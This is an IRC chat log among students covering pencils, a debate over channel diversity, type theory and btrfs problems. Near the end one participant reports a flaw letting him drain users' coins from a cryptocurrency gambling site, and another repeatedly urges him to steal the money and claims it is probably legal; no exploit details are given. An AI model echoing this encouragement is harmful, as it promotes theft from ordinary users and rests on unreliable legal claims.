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[2015-03-28T02:11:10-0400] <LittleBobbyTables> http://www.dotabuff.com/matches/1354772847
[2015-03-28T02:12:25-0400] <LittleBobbyTables> dota pls
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[2015-03-28T07:49:34-0400] <nickthename> LittleBobbyTables: Ebola Spirit vs Mom's Spaghetti, a tough match indeed
[2015-03-28T08:21:53-0400] <sdamashek> ... k.
[2015-03-28T09:26:16-0400] <sdamashek> woah, msavage got into CMU SCS
[2015-03-28T09:26:31-0400] <sdamashek> Tamini: ^
[2015-03-28T10:24:12-0400] <jwoglom> damn, nice!
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[2015-03-28T10:42:43-0400] <JacobEdelman> Gmorning
[2015-03-28T11:55:54-0400] <fwilson> YES I GOT NEW MECHANICAL PENCILS IN
[2015-03-28T12:04:54-0400] <+awe> fwilson: the excitement is real.
[2015-03-28T12:18:04-0400] <JacobEdelman> Look
[2015-03-28T12:18:09-0400] <JacobEdelman> *lol
[2015-03-28T12:18:13-0400] <JacobEdelman> Darn phone
[2015-03-28T12:25:23-0400] <jwoglom> fwilson: good-quality ones? :P
[2015-03-28T12:27:44-0400] <Tamini> sdamashek: of course he did
[2015-03-28T12:27:45-0400] <Tamini> <3
[2015-03-28T12:33:16-0400] <Tamini> sdamashek: so did zwad3
[2015-03-28T12:33:22-0400] <sdamashek> Tamini: oh nice
[2015-03-28T12:33:53-0400] <sdamashek> fwilson: the best feeling :D
[2015-03-28T12:56:02-0400] <fwilson> jwoglom: really good-quality ones
[2015-03-28T12:56:06-0400] <fwilson> sdamashek: they write so well
[2015-03-28T12:56:08-0400] <fwilson> it's amazing
[2015-03-28T12:56:11-0400] <fwilson> it was well worth the $7
[2015-03-28T12:56:14-0400] <sdamashek> :D
[2015-03-28T12:56:17-0400] <fwilson> :DDDDD
[2015-03-28T12:56:18-0400] <sdamashek> fwilson: what brand?
[2015-03-28T12:56:20-0400] <fwilson> Pentel
[2015-03-28T12:56:27-0400] <fwilson> http://www.amazon.com/Pentel-Twist-Erase-Automatic-Assorted-QE517BP2-K6/dp/B002JG10GG/ref=sr_1_1?ie=UTF8&qid=1427561783&sr=8-1&keywords=pentel+twist-erase
[2015-03-28T12:56:31-0400] <fwilson> the most amazing pencil
[2015-03-28T12:56:46-0400] <fwilson> this guy's review title
[2015-03-28T12:56:48-0400] <fwilson> "One pencil has lasted 5 years...and still going"
[2015-03-28T12:57:07-0400] <fwilson> and like
[2015-03-28T12:57:10-0400] <fwilson> eraser refills
[2015-03-28T12:57:19-0400] <sdamashek> shiny
[2015-03-28T12:57:35-0400] <fwilson> i love these things
[2015-03-28T12:58:04-0400] <jwoglom> heh i've seen those around before
[2015-03-28T12:58:15-0400] <fwilson> they are amzazing
[2015-03-28T12:58:17-0400] <fwilson> 10/10 would recommend
[2015-03-28T12:58:22-0400] <jwoglom> i never use mechanical pencils though
[2015-03-28T12:58:28-0400] <fwilson> D:
[2015-03-28T12:58:29-0400] <sdamashek> I use only mechanical
[2015-03-28T12:58:30-0400] <jwoglom> i kind of just use pencils that I find on the ground -_-
[2015-03-28T12:58:34-0400] <sdamashek> wat
[2015-03-28T12:58:39-0400] <nickthename> same
[2015-03-28T12:58:47-0400] <nickthename> I find and lose pencils all the time
[2015-03-28T12:58:55-0400] <nickthename> although some are mechanical
[2015-03-28T12:58:56-0400] <bob_twinkles> I use pens
[2015-03-28T12:58:56-0400] <jwoglom> i mean, i buy like a pack of ticonderoga pencils at the beginning of the year
[2015-03-28T12:58:59-0400] <bob_twinkles> because I don't make mistakes
[2015-03-28T12:59:02-0400] <jwoglom> but 2 weeks in i've lost them
[2015-03-28T12:59:07-0400] <bob_twinkles> that's how pens work right?
[2015-03-28T12:59:17-0400] <nickthename> fwilson: oh, those are nice, I had one for a while
[2015-03-28T12:59:22-0400] <fwilson> nickthename: yes
[2015-03-28T12:59:22-0400] <jwoglom> bob_twinkles: yeah, using pens make everything srs bsns
[2015-03-28T13:00:52-0400] <fwilson> i'm going to start collecting pencils
[2015-03-28T13:01:53-0400] <nickthename> I have a giant jar in my room of them, because I always accidently leave them at home
[2015-03-28T13:02:33-0400] <fwilson> lol
[2015-03-28T13:10:41-0400] <Tamini> but but
[2015-03-28T13:10:46-0400] <Tamini> fancy fountain pen-
[2015-03-28T13:10:48-0400] <Tamini> wait wait wtf
[2015-03-28T13:10:51-0400] <Tamini> since when was nickthename here
[2015-03-28T13:11:00-0400] <nickthename> couple days ago
[2015-03-28T13:11:00-0400] <Tamini> is tj slowly taking over
[2015-03-28T13:11:06-0400] <jwoglom> sometime yesterday i think
[2015-03-28T13:11:19-0400] <jwoglom> this feels like #tjhsst-new
[2015-03-28T13:11:34-0400] <Tamini> who invited him? :O
[2015-03-28T13:11:42-0400] <Tamini> other people are also inviting tj kids i feel less special
[2015-03-28T13:12:20-0400] <nickthename> :(
[2015-03-28T13:12:23-0400] <nickthename> sorry
[2015-03-28T13:13:02-0400] <Tamini> wait darn no
[2015-03-28T13:13:10-0400] <Tamini> it's totally awesome you're here
[2015-03-28T13:13:12-0400] <Tamini> you're great
[2015-03-28T13:13:15-0400] <Tamini> i was just wondering
[2015-03-28T13:13:35-0400] <Tamini> because i invited every other tj kid that's here
[2015-03-28T13:17:06-0400] <nickthename> Sam told me about it
[2015-03-28T13:17:35-0400] <Tamini> damashek?
[2015-03-28T13:17:36-0400] <Tamini> ah, okay
[2015-03-28T13:18:50-0400] <+awe> I might have to place a user cap on number of people from TJ soon. ;)
[2015-03-28T13:18:54-0400] <Tamini> awe: noooo
[2015-03-28T13:18:56-0400] <Tamini> we're cool stop it :<
[2015-03-28T13:19:04-0400] <+awe> Nah, it's fine.
[2015-03-28T13:19:07-0400] <Tamini> <3
[2015-03-28T13:19:14-0400] <+awe> You should all recruit some non-TJ people though.
[2015-03-28T13:19:25-0400] <+awe> Especially people who like type systems.
[2015-03-28T13:19:30-0400] <jwoglom> >assuming we know non-tj people
[2015-03-28T13:19:39-0400] <Tamini> you severely overestimate the number of people i know
[2015-03-28T13:19:42-0400] <Tamini> that like type systems
[2015-03-28T13:19:42-0400] <+awe> Considering all the competitions you go to, I would hope so.
[2015-03-28T13:19:44-0400] <Tamini> awe: oh, right
[2015-03-28T13:19:53-0400] <Tamini> I should probably tell you
[2015-03-28T13:20:01-0400] <Tamini> I started actually learning Haskell
[2015-03-28T13:20:03-0400] <+awe> Woo!
[2015-03-28T13:20:10-0400] <Tamini> I was super proud of me ^^
[2015-03-28T13:20:13-0400] <Tamini> anyway um
[2015-03-28T13:20:26-0400] <Tamini> yeah, the only person not on this channel I met at competitions are
[2015-03-28T13:20:31-0400] <Tamini> the obnoxious blair kids and victor.
[2015-03-28T13:20:43-0400] <+awe> Hah, so, don't recruit any of them. :p
[2015-03-28T13:20:51-0400] <Tamini> what's wrong with victor? :P
[2015-03-28T13:21:08-0400] <+awe> Well, okay. You can recruit Victor.
[2015-03-28T13:21:10-0400] <+awe> But he doesn't like types.
[2015-03-28T13:21:26-0400] <Tamini> I don't want to recruit Victor; he scares me
[2015-03-28T13:21:29-0400] <Tamini> and yeah, probably not.
[2015-03-28T13:22:02-0400] <jwoglom> lablayers?
[2015-03-28T13:22:34-0400] <Tamini> who is that?
[2015-03-28T13:22:43-0400] <nickthename> I don't know anyone
[2015-03-28T13:22:51-0400] <nickthename> awe: huh?
[2015-03-28T13:22:58-0400] <jwoglom> the guy who randomly joined #tjhsst
[2015-03-28T13:23:16-0400] <nickthename> you want to expand the channel with non-TJ kids?
[2015-03-28T13:23:21-0400] <jwoglom> i remember he said his name was Victor Lourng
[2015-03-28T13:23:46-0400] <Tamini> WAIT ACTUALLY
[2015-03-28T13:23:54-0400] <Tamini> oh my god victor is such a creeper omg
[2015-03-28T13:24:21-0400] <jwoglom> oh wow he's the same guy
[2015-03-28T13:24:26-0400] <Tamini> how did he even find out about this
[2015-03-28T13:24:34-0400] <Tamini> jwoglom: I told you the pilotphilly story right
[2015-03-28T13:24:36-0400] <jwoglom> he never said why he wanted to join the channel
[2015-03-28T13:24:42-0400] <jwoglom> he just did
[2015-03-28T13:24:45-0400] <jwoglom> Tamini: i don't think so
[2015-03-28T13:24:53-0400] <nickthename> yall go to soo many competitions
[2015-03-28T13:25:03-0400] <sdamashek> nickthename: what's wrong with that :P
[2015-03-28T13:25:42-0400] <nickthename> nothing
[2015-03-28T13:27:01-0400] <Tamini> he um
[2015-03-28T13:27:04-0400] <Tamini> well, okay
[2015-03-28T13:27:11-0400] <Tamini> so jaymo, the guy that did ctctf
[2015-03-28T13:27:14-0400] <Tamini> wanted to set us up or something
[2015-03-28T13:27:21-0400] <Tamini> and he really wanted me to meet victor and i said no
[2015-03-28T13:27:30-0400] <Tamini> so he asked me for a picture of pilotphilly
[2015-03-28T13:27:32-0400] <Tamini> and i sent him one
[2015-03-28T13:27:43-0400] <Tamini> and he sent victor that picture and said "that's the hackathon from her perspective"
[2015-03-28T13:27:45-0400] <Tamini> and he came to find me ;;
[2015-03-28T13:27:50-0400] <+awe> nickthename: why would I *not* want more TJ kids?
[2015-03-28T13:27:57-0400] <+awe> nickthename: erm, more non-TJ kids*
[2015-03-28T13:27:59-0400] <sdamashek> Tamini: ;_;
[2015-03-28T13:27:59-0400] <jwoglom> Tamini: lol
[2015-03-28T13:28:41-0400] <+awe> Tamini: maybe if I follow her around, senpai will notice me!
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[2015-03-28T13:19:44-0400] <Tamini> awe: oh, right
[2015-03-28T13:19:53-0400] <Tamini> I should probably tell you
[2015-03-28T13:20:01-0400] <Tamini> I started actually learning Haskell
[2015-03-28T13:20:04-0400] <+awe> Woo!
[2015-03-28T13:20:10-0400] <Tamini> I was super proud of me ^^
[2015-03-28T13:20:13-0400] <Tamini> anyway um
[2015-03-28T13:20:26-0400] <Tamini> yeah, the only person not on this channel I met at competitions are
[2015-03-28T13:20:31-0400] <Tamini> the obnoxious blair kids and victor.
[2015-03-28T13:20:43-0400] <+awe> Hah, so, don't recruit any of them. :p
[2015-03-28T13:20:51-0400] <Tamini> what's wrong with victor? :P
[2015-03-28T13:21:08-0400] <+awe> Well, okay. You can recruit Victor.
[2015-03-28T13:21:10-0400] <+awe> But he doesn't like types.
[2015-03-28T13:21:26-0400] <Tamini> I don't want to recruit Victor; he scares me
[2015-03-28T13:21:29-0400] <Tamini> and yeah, probably not.
[2015-03-28T13:22:02-0400] <jwoglom> lablayers?
[2015-03-28T13:22:34-0400] <Tamini> who is that?
[2015-03-28T13:22:43-0400] <nickthename> I don't know anyone
[2015-03-28T13:22:51-0400] <nickthename> awe: huh?
[2015-03-28T13:22:58-0400] <jwoglom> the guy who randomly joined #tjhsst
[2015-03-28T13:23:16-0400] <nickthename> you want to expand the channel with non-TJ kids?
[2015-03-28T13:23:21-0400] <jwoglom> i remember he said his name was Victor Lourng
[2015-03-28T13:23:46-0400] <Tamini> WAIT ACTUALLY
[2015-03-28T13:23:54-0400] <Tamini> oh my god victor is such a creeper omg
[2015-03-28T13:24:21-0400] <jwoglom> oh wow he's the same guy
[2015-03-28T13:24:26-0400] <Tamini> how did he even find out about this
[2015-03-28T13:24:34-0400] <Tamini> jwoglom: I told you the pilotphilly story right
[2015-03-28T13:24:36-0400] <jwoglom> he never said why he wanted to join the channel
[2015-03-28T13:24:42-0400] <jwoglom> he just did
[2015-03-28T13:24:45-0400] <jwoglom> Tamini: i don't think so
[2015-03-28T13:24:53-0400] <nickthename> yall go to soo many competitions
[2015-03-28T13:25:03-0400] <sdamashek> nickthename: what's wrong with that :P
[2015-03-28T13:25:42-0400] <nickthename> nothing
[2015-03-28T13:27:01-0400] <Tamini> he um
[2015-03-28T13:27:04-0400] <Tamini> well, okay
[2015-03-28T13:27:11-0400] <Tamini> so jaymo, the guy that did ctctf
[2015-03-28T13:27:14-0400] <Tamini> wanted to set us up or something
[2015-03-28T13:27:21-0400] <Tamini> and he really wanted me to meet victor and i said no
[2015-03-28T13:27:30-0400] <Tamini> so he asked me for a picture of pilotphilly
[2015-03-28T13:27:32-0400] <Tamini> and i sent him one
[2015-03-28T13:27:43-0400] <Tamini> and he sent victor that picture and said "that's the hackathon from her perspective"
[2015-03-28T13:27:45-0400] <Tamini> and he came to find me ;;
[2015-03-28T13:27:50-0400] <+awe> nickthename: why would I *not* want more TJ kids?
[2015-03-28T13:27:57-0400] <+awe> nickthename: erm, more non-TJ kids*
[2015-03-28T13:27:59-0400] <sdamashek> Tamini: ;_;
[2015-03-28T13:27:59-0400] <jwoglom> Tamini: lol
[2015-03-28T13:28:41-0400] <+awe> Tamini: maybe if I follow her around, senpai will notice me!
[2015-03-28T13:29:44-0400] <jwoglom> totally not creepy
[2015-03-28T13:29:55-0400] <nickthename> awe: what's your problem with us?
[2015-03-28T13:30:03-0400] <Tamini> sdamashek: s'ok <3
[2015-03-28T13:30:08-0400] <Tamini> awe: >_<
[2015-03-28T13:30:15-0400] Mode is +nt
[2015-03-28T13:30:20-0400] <Tamini> nickthename: i think he just wants more variety
[2015-03-28T13:36:16-0400] <jwoglom> awe: TJ students have variety!
[2015-03-28T13:36:24-0400] <jwoglom> well, in every metric besides what school they go to
[2015-03-28T13:36:30-0400] <+awe> That's not true.
[2015-03-28T13:36:35-0400] <+awe> There's no variety in wealth.
[2015-03-28T13:36:38-0400] <+awe> There's little variety in race.
[2015-03-28T13:36:44-0400] <nickthename> we have like 3-4 different types of asians
[2015-03-28T13:36:53-0400] <nickthename> that's pretty damn diverse
[2015-03-28T13:37:15-0400] <jwoglom> not everyone at TJ is uber-rich..
[2015-03-28T13:37:26-0400] <+awe> Okay, sorry, there's little variety in wealth.
[2015-03-28T13:38:14-0400] <nickthename> guess what, it's harder for poor people to spend all their time going to ctfs and setting up servers
[2015-03-28T13:38:15-0400] <jwoglom> why does wealth or race matter in the composition of this channel
[2015-03-28T13:38:25-0400] <nickthename> so good luck recruiting them
[2015-03-28T13:38:41-0400] <+awe> This network is not based entirely around competing in CTFs.
[2015-03-28T13:39:07-0400] <nickthename>  jwoglom | why does wealth or race matter in the composition of this channel  [
[2015-03-28T13:39:19-0400] <nickthename> I didn't know IRC had affirmative action
[2015-03-28T13:40:16-0400] <+awe> Diversity of experience is important to me in forming a community.
[2015-03-28T13:41:08-0400] <jwoglom> how diverse is this channel even, though
[2015-03-28T13:41:26-0400] <Tamini> as of right now, not very :P
[2015-03-28T13:41:53-0400] <jwoglom> awe: maybe you should attempt to add more diversity yourself :P
[2015-03-28T13:42:31-0400] <+awe> Did I say that I wasn't?
[2015-03-28T13:45:10-0400] <Tamini> awe: whoa whoa whoa
[2015-03-28T13:45:24-0400] <Tamini> this guy just showed me a textbook relating topology and type theory
[2015-03-28T13:45:29-0400] <Tamini> would you like to see the pdf? :O
[2015-03-28T13:45:37-0400] <+awe> Sure.
[2015-03-28T13:45:45-0400] <Tamini> http://homotopytypetheory.org/book/
[2015-03-28T13:46:23-0400] <Tamini> upon first glance, it looks like something you'd find interesting
[2015-03-28T13:47:33-0400] <+awe> Neat.
[2015-03-28T13:48:37-0400] <+awe> nickthename: Also, for the record, another IRC network I'm on has significantly more wealth diversity than here while still being oriented around CS. So, yes, it's possible.
[2015-03-28T13:49:58-0400] <nickthename> lol
[2015-03-28T13:50:07-0400] <nickthename> do you like ask for their tax returns when they join?
[2015-03-28T13:50:44-0400] <+awe> Yes, obviously, I found out about that by demanding their tax returns, and not by hearing people speak about their life experiences. That's the one that would make the most sense.
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[2015-03-28T14:02:25-0400] <+awe> nickthename: To clarify, I'm not upset that there's a lot of TJ students here or that a lot of people here are from wealthy backgrounds. I don't dislike TJ students or anything. I'd just prefer to have more diversity.
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[2015-03-28T14:21:03-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-28T13:27:04-0400] <Tamini> well, okay
[2015-03-28T13:27:11-0400] <Tamini> so jaymo, the guy that did ctctf
[2015-03-28T13:27:14-0400] <Tamini> wanted to set us up or something
[2015-03-28T13:27:21-0400] <Tamini> and he really wanted me to meet victor and i said no
[2015-03-28T13:27:30-0400] <Tamini> so he asked me for a picture of pilotphilly
[2015-03-28T13:27:32-0400] <Tamini> and i sent him one
[2015-03-28T13:27:43-0400] <Tamini> and he sent victor that picture and said "that's the hackathon from her perspective"
[2015-03-28T13:27:45-0400] <Tamini> and he came to find me ;;
[2015-03-28T13:27:50-0400] <+awe> nickthename: why would I *not* want more TJ kids?
[2015-03-28T13:27:57-0400] <+awe> nickthename: erm, more non-TJ kids*
[2015-03-28T13:27:59-0400] <sdamashek> Tamini: ;_;
[2015-03-28T13:27:59-0400] <jwoglom> Tamini: lol
[2015-03-28T13:28:41-0400] <+awe> Tamini: maybe if I follow her around, senpai will notice me!
[2015-03-28T13:29:44-0400] <jwoglom> totally not creepy
[2015-03-28T13:29:55-0400] <nickthename> awe: what's your problem with us?
[2015-03-28T13:30:03-0400] <Tamini> sdamashek: s'ok <3
[2015-03-28T13:30:08-0400] <Tamini> awe: >_<
[2015-03-28T13:30:20-0400] <Tamini> nickthename: i think he just wants more variety
[2015-03-28T13:36:16-0400] <jwoglom> awe: TJ students have variety!
[2015-03-28T13:36:24-0400] <jwoglom> well, in every metric besides what school they go to
[2015-03-28T13:36:30-0400] <+awe> That's not true.
[2015-03-28T13:36:35-0400] <+awe> There's no variety in wealth.
[2015-03-28T13:36:38-0400] <+awe> There's little variety in race.
[2015-03-28T13:36:44-0400] <nickthename> we have like 3-4 different types of asians
[2015-03-28T13:36:53-0400] <nickthename> that's pretty damn diverse
[2015-03-28T13:37:15-0400] <jwoglom> not everyone at TJ is uber-rich..
[2015-03-28T13:37:26-0400] <+awe> Okay, sorry, there's little variety in wealth.
[2015-03-28T13:38:14-0400] <nickthename> guess what, it's harder for poor people to spend all their time going to ctfs and setting up servers
[2015-03-28T13:38:15-0400] <jwoglom> why does wealth or race matter in the composition of this channel
[2015-03-28T13:38:25-0400] <nickthename> so good luck recruiting them
[2015-03-28T13:38:41-0400] <+awe> This network is not based entirely around competing in CTFs.
[2015-03-28T13:39:07-0400] <nickthename>  jwoglom | why does wealth or race matter in the composition of this channel  [
[2015-03-28T13:39:19-0400] <nickthename> I didn't know IRC had affirmative action
[2015-03-28T13:40:16-0400] <+awe> Diversity of experience is important to me in forming a community.
[2015-03-28T13:41:08-0400] <jwoglom> how diverse is this channel even, though
[2015-03-28T13:41:26-0400] <Tamini> as of right now, not very :P
[2015-03-28T13:41:53-0400] <jwoglom> awe: maybe you should attempt to add more diversity yourself :P
[2015-03-28T13:42:31-0400] <+awe> Did I say that I wasn't?
[2015-03-28T13:45:10-0400] <Tamini> awe: whoa whoa whoa
[2015-03-28T13:45:24-0400] <Tamini> this guy just showed me a textbook relating topology and type theory
[2015-03-28T13:45:29-0400] <Tamini> would you like to see the pdf? :O
[2015-03-28T13:45:37-0400] <+awe> Sure.
[2015-03-28T13:45:45-0400] <Tamini> http://homotopytypetheory.org/book/
[2015-03-28T13:46:23-0400] <Tamini> upon first glance, it looks like something you'd find interesting
[2015-03-28T13:47:33-0400] <+awe> Neat.
[2015-03-28T13:48:37-0400] <+awe> nickthename: Also, for the record, another IRC network I'm on has significantly more wealth diversity than here while still being oriented around CS. So, yes, it's possible.
[2015-03-28T13:49:58-0400] <nickthename> lol
[2015-03-28T13:50:07-0400] <nickthename> do you like ask for their tax returns when they join?
[2015-03-28T13:50:45-0400] <+awe> Yes, obviously, I found out about that by demanding their tax returns, and not by hearing people speak about their life experiences. That's the one that would make the most sense.
[2015-03-28T14:02:25-0400] <+awe> nickthename: To clarify, I'm not upset that there's a lot of TJ students here or that a lot of people here are from wealthy backgrounds. I don't dislike TJ students or anything. I'd just prefer to have more diversity.
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[2015-03-28T14:46:23-0400] <+awe> https://storycorps.me
[2015-03-28T14:46:25-0400] <+awe> This is really cool.
[2015-03-28T14:54:25-0400] <LittleBobbyTables> I'm from a poor background, if that helps.
[2015-03-28T14:58:59-0400] <+awe> You're also superbly private.
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[2015-03-28T15:10:50-0400] <LittleBobbyTables> Your point?
[2015-03-28T15:11:20-0400] <z3t> My point.
[2015-03-28T15:11:50-0400] <grantwu> awe's point is you could be bill gates' mistress for all we know.
[2015-03-28T15:12:38-0400] <+awe> LittleBobbyTables: Well, perhaps that other people don't get to benefit as much from your experiences is all.
[2015-03-28T15:18:26-0400] <grantwu> It's not that LBT owes us the benefit of his experiences.
[2015-03-28T15:19:18-0400] <grantwu> There's a slippery slope, I think, for affirmative action to become almost a form of socioeconomic voyeurism.
[2015-03-28T15:19:44-0400] <nickthename> I know some of those words
[2015-03-28T15:20:04-0400] <nickthename> but I don't know what they mean together
[2015-03-28T15:21:07-0400] <grantwu> Well, one of the main justifications for affirmative action is that a diversity of backgrounds and experiences has benefits for all those who participate in it.
[2015-03-28T15:22:22-0400] <grantwu> (Note that affirmative action, of course, has no benefits at all for those who do not get to participate in whichever environment to which affirmative action is applied.)
[2015-03-28T15:24:27-0400] <grantwu> What I'm stating is that it's easy to fall into the trap of a subtly different idea, which is that majority groups gain benefits from being exposed to minority groups.
[2015-03-28T15:25:03-0400] <grantwu> For example, the argument that, perhaps, corporate boards need women in order to get more "estrogen" in decision-making processes.
[2015-03-28T15:25:10-0400] <z3t> What the hell did I walk into....
[2015-03-28T15:25:21-0400] <grantwu> An explanation
[2015-03-28T15:26:08-0400] <grantwu> Diversity as a means to an end is unconvincing.
[2015-03-28T15:26:25-0400] <grantwu> And possibly insulting to the those included for its sake.
[2015-03-28T15:26:30-0400] <nickthename> z3t: your guess is as good as mine
[2015-03-28T15:27:14-0400] <grantwu> I think my words are well-defined.
[2015-03-28T15:27:41-0400] <grantwu> I'm not going to BFS my explanation any further, though
[2015-03-28T15:28:15-0400] • z3t: waits quietly for someone to respond to grantwu
[2015-03-28T15:29:54-0400] <+awe> grantwu: I didn't say he owed us his experiences. I said that we don't necessarily benefit from it as much as if he did express it more.
[2015-03-28T15:30:11-0400] <grantwu> I know
[2015-03-28T15:30:19-0400] <grantwu> I just wanted to talk
[2015-03-28T15:30:21-0400] <grantwu> mraow
[2015-03-28T15:30:22-0400] <+awe> Fair enough.
[2015-03-28T15:30:53-0400] <+awe> I don't disagree with your point though.
[2015-03-28T15:31:08-0400] <grantwu> mraow
[2015-03-28T15:33:09-0400] <+awe> The reason I'd want a diverse environment here is because I think it'd be to everyone's benefit to have exposure to a variety of backgrounds and motivations for doing CS work and for entering different areas of the workforce.
[2015-03-28T15:34:22-0400] <LittleBobbyTables> 7:20 PM <nickthename> I know some of those words
[2015-03-28T15:34:22-0400] <LittleBobbyTables> 7:20 PM <nickthename> but I don't know what they mean together
[2015-03-28T15:34:24-0400] <LittleBobbyTables> glorious.
[2015-03-28T15:41:28-0400] <grantwu> I'm a bit peeved that y'all are either not understanding or feigning ignorance.
[2015-03-28T15:41:51-0400] <grantwu> I don't think what I wrote is difficult to understand at all.
[2015-03-28T15:41:56-0400] <+awe> It's not at all.
[2015-03-28T15:42:44-0400] <grantwu> I've seen plenty, plenty of political doublespeak, and I think I can tell the difference.
[2015-03-28T15:44:33-0400] <LittleBobbyTables> Or they're just me and ignore a majority of what people say in here.
[2015-03-28T15:45:27-0400] <grantwu> Well sure, ignore it, don't make snide comments about it.
[2015-03-28T15:46:40-0400] <LittleBobbyTables> Only comment I made was to nicks.
[2015-03-28T15:46:47-0400] <grantwu> Or comments on comments
[2015-03-28T15:47:40-0400] <LittleBobbyTables> The only thing really read in the past 15 hours was awe's "we need more diversity" (one line), nicks comment, and this conversation
[2015-03-28T15:47:59-0400] <+awe> Which is most of what's been said, really.
[2015-03-28T15:48:12-0400] <LittleBobbyTables> Fair enough.
[2015-03-28T15:52:01-0400] <+awe> Wow, I'm finally going to have a meeting with Emery.
[2015-03-28T16:00:25-0400] <+awe> It only took four months.
[2015-03-28T16:00:42-0400] <grantwu> Who's that?
[2015-03-28T16:01:04-0400] <+awe> UMass CS head of graduate admissions, and lead researcher on both PL groups.
[2015-03-28T16:01:47-0400] <ubuntor> nice
[2015-03-28T16:02:22-0400] <+awe> It took like three months for him to offer my a summer research position, and now I'm meeting with him sometime next week
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[2015-03-28T16:23:06-0400] <Pharyngeal> Have y'all used btrfs?
[2015-03-28T16:23:24-0400] <alokpathy> Pharyngeal: I think nezorg has
[2015-03-28T16:23:29-0400] <alokpathy> He was complaining about it the other day :P
[2015-03-28T16:23:33-0400] <grantwu> Pharyngeal: I have superficially, why?
[2015-03-28T16:24:23-0400] <Pharyngeal> Because it's severely fucked on my desktop, and has required maintenece on my laptop
[2015-03-28T16:24:52-0400] <grantwu> ...good luck.
[2015-03-28T16:25:28-0400] <grantwu> If you want, you can join ##cclub on freenode and maybe people can help there
[2015-03-28T16:25:31-0400] <Pharyngeal> On both machines, the space allocated to metadata was insufficient, so the filesystem would show as full, despite having ~400G of capacity left
[2015-03-28T16:25:33-0400] <grantwu> or #btrfs if that's a thing
[2015-03-28T16:25:41-0400] <Pharyngeal> And on the desktop, idek
[2015-03-28T16:25:46-0400] <grantwu> This is why ZFS master race *sigh*
[2015-03-28T16:26:00-0400] <Pharyngeal> I need to figure out what to convert to, and how I'll be doing it
[2015-03-28T16:27:36-0400] <grantwu> Pharyngeal: 
[2015-03-28T16:27:50-0400] <grantwu> aliruu | grantwu: This is a known issue with btrfs.  There were reportedly some improvements in 3.17 and 3.18, but I haven't tested it.
[2015-03-28T16:28:12-0400] <Pharyngeal> grantwu: Which issue, the space issue?
[2015-03-28T16:28:25-0400] <grantwu> Yes
[2015-03-28T16:28:36-0400] <grantwu> I copy and pasted your description of the space issue to ##cclub
[2015-03-28T16:28:42-0400] <Pharyngeal> Yeah, that's not as much of a concern for me at the moment.
[2015-03-28T16:28:52-0400] <grantwu> What's the issue with your desktop?
[2015-03-28T16:29:14-0400] <Pharyngeal> On the desktop, I've needed to zero the log about three times since adding the btrfs partition
[2015-03-28T16:29:19-0400] <Pharyngeal> Currently, it looks like it's just died
[2015-03-28T16:29:25-0400] <grantwu> Died?
[2015-03-28T16:29:37-0400] <Pharyngeal> btrfs check reports assertion erros
[2015-03-28T16:29:52-0400] <Pharyngeal> I will have more info in about half an hour, I'm not currently near the desktop
[2015-03-28T16:31:46-0400] <+awe> Pharyngeal: I've used btrfs too.
[2015-03-28T16:33:19-0400] <Pharyngeal> awe: Have you used docker?
[2015-03-28T16:33:27-0400] <+awe> Nope.
[2015-03-28T16:34:04-0400] <Pharyngeal> Ah okay. I think the additional metadata generated by docker contributes to one of the rpoblems
[2015-03-28T16:34:10-0400] <Pharyngeal> Admittedly, the less serious one
[2015-03-28T16:34:10-0400] <Pharyngeal> =/
[2015-03-28T16:37:14-0400] <+awe> I had no issues with it.
[2015-03-28T16:37:22-0400] <+awe> But I probably made a lot less use of it.
[2015-03-28T17:08:18-0400] <Pharyngeal> grantwu: http://sprunge.us/CSJW
[2015-03-28T17:13:46-0400] <+awe> Yay, someone else uses sprunge.
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[2015-03-28T17:21:19-0400] <Pharyngeal> awe: Yes, but those errors look nasty
[2015-03-28T17:21:48-0400] <z3t> heh, just found a vuln on a popular cryptocurrency gambling site that would allow me to steal everyone's coins....
[2015-03-28T17:22:28-0400] <+awe> z3t: do it and then pay out?
[2015-03-28T17:22:42-0400] <z3t> idk
[2015-03-28T17:22:46-0400] <+awe> Do it.
[2015-03-28T17:22:51-0400] <+awe> It's free money.
[2015-03-28T17:22:53-0400] <z3t> feels too immoral :p
[2015-03-28T17:23:06-0400] <grantwu> Tell them
[2015-03-28T17:23:12-0400] <grantwu> Get free money too?
[2015-03-28T17:23:30-0400] <+awe> The payout is way greater if you just take it all though.
[2015-03-28T17:24:03-0400] <grantwu> Well yeah, but you might get sued.
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[2015-03-28T17:24:15-0400] <grantwu> Or death threats.
[2015-03-28T17:24:16-0400] <z3t> paging LittleBobbyTables
[2015-03-28T17:24:28-0400] <+awe> Yeah, because enforcement has been going so well on rampant theft of cryptocurrency.
[2015-03-28T17:24:45-0400] <grantwu> Well, no, but I'd rather not risk it
[2015-03-28T17:25:37-0400] <+awe> z3t: any idea how many coins you'd get?
[2015-03-28T17:25:44-0400] <+awe> z3t: or the estimated value?
[2015-03-28T17:25:52-0400] <z3t> uh sec
[2015-03-28T17:28:36-0400] <z3t> Somewhere in the lower 5 figures range
[2015-03-28T17:28:40-0400] <+awe> I'd do it.
[2015-03-28T17:28:59-0400] <z3t> idk
[2015-03-28T17:29:03-0400] <+awe> Gambling is already a scam.
[2015-03-28T17:29:22-0400] <+awe> I wouldn't feel bad about stealing from a thief.
[2015-03-28T17:29:41-0400] <z3t> Yeah but you're stealing from people who the thief steals from
[2015-03-28T17:33:18-0400] <+awe> Is there a way you can only take the site's winnings?
[2015-03-28T17:33:55-0400] <z3t> no, the vulnerability will only be able to take from user wallets
[2015-03-28T17:36:20-0400] <nickthename> immoral and illegal
[2015-03-28T17:37:19-0400] <+awe> z3t: That's strange.
[2015-03-28T17:37:37-0400] <+awe> z3t: I'd probably still do it, but I might feel bad about it.
[2015-03-28T17:38:00-0400] <+awe> nickthename: It's illegal to steal numbers from people?
[2015-03-28T17:38:14-0400] <nickthename> lol
[2015-03-28T17:38:22-0400] <+awe> It's actually probably not illegal under current US law.
[2015-03-28T17:38:42-0400] <grantwu> I'm pretty you can be hit with unauthorized use of a computer system.
[2015-03-28T17:38:49-0400] <+awe> You can do that for everything and anything.
[2015-03-28T17:39:02-0400] <grantwu> Doesn't mean they hit you with that for everything and anything.
[2015-03-28T17:39:11-0400] <+awe> Attempting to log into your own account, but typing the password wrong is unauthorized use of a computer system.
[2015-03-28T17:39:23-0400] <grantwu> Last I checked, I haven't been charged for that, but the silk road guy has.
[2015-03-28T17:39:27-0400] <z3t> I remember reading awhile ago that some dude got hit with that law for using acunetix
[2015-03-28T17:40:04-0400] <+awe> grantwu: The only reason they're harassing him is because of drugs.
[2015-03-28T17:40:10-0400] <grantwu> w/e
